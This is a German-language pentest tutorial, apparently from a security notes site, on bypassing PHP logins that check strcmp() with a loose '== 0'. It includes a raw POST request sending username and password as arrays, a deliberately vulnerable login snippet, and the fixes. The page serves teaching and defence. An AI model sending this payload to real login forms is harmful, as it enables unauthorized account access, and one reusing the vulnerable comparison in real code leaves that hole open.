PHP Type Juggling mit strcmp() ausnutzen

Hintergrund

strcmp() ist eine PHP-Funktion zum Vergleich von zwei Strings. Sie gibt 0 zurück, wenn die beiden Strings identisch sind. Ein häufiger Fehler tritt auf, wenn Entwickler die Rückgabe von strcmp() unsicher mit == 0 vergleichen.

Verwundbarkeit

PHP ist eine schwach typisierte Sprache. Das bedeutet:

  • strcmp(...) liefert 0 bei Gleichheit,

  • aber auch false oder NULL bei unerwarteten Datentypen,

  • und in PHP gilt: NULL == 0 bzw. false == 0true (bei losem Vergleich)

Wird nun so verglichen:

if (strcmp($username, $_POST['username']) == 0) {

... kann dies umgangen werden, wenn $_POST['username'] ein Array ist.

Technischer Ablauf

Wenn der Vergleich wie folgt aufgerufen wird:

strcmp("admin", array)

Dann:

  1. erkennt PHP, dass ein String mit einem Array verglichen werden soll

  2. dies ist nicht zulässigstrcmp() gibt false zurück

  3. false == 0 ergibt true bei losem Vergleich → Der Vergleich schlägt nicht fehl, sondern wird fälschlich als erfolgreich gewertet


Ausnutzung

Durch gezielte Manipulation des POST-Requests können wir strcmp() zu einem false-Vergleich zwingen:

POST /login.php HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

username[]=admin&password[]=pass

Wirkung:

  • $_POST['username'] wird zu einem Array

  • strcmp("admin", array) → ergibt false

  • false == 0true → Login erfolgreich


Minimales Beispiel (PHP-Code)

$username = "admin";
$password = "secret";
if (strcmp($username, $_POST['username']) == 0 &&
    strcmp($password, $_POST['password']) == 0) {
    echo "Login erfolgreich";
} else {
    echo "Login fehlgeschlagen";
}

→ Bypass möglich mit:

username[]=admin&password[]=any

Schutzmaßnahmen

  • Verwende === 0 statt == 0 für strcmp-Rückgaben

  • Typprüfung vor Vergleich:

if (is_string($_POST['username']) && strcmp($username, $_POST['username']) === 0)

Einordnung im Pentest

Thema: Auth Bypass → Input Handling → PHP Type Juggling

Suchmuster:

  • Codeanalyse: strcmp(...) == 0

  • Verhalten bei unerwarteten Eingabetypen (Array statt String)

  • Keine Fehlerbehandlung / Typprüfung

Tools:

  • BurpSuite mit Modifikation der POST-Parameter

  • Manuelle Fuzzing-Tests auf Authentifizierungs-Logik

Relevante CWE: CWE-704: Incorrect Type Conversion or Cast

Last updated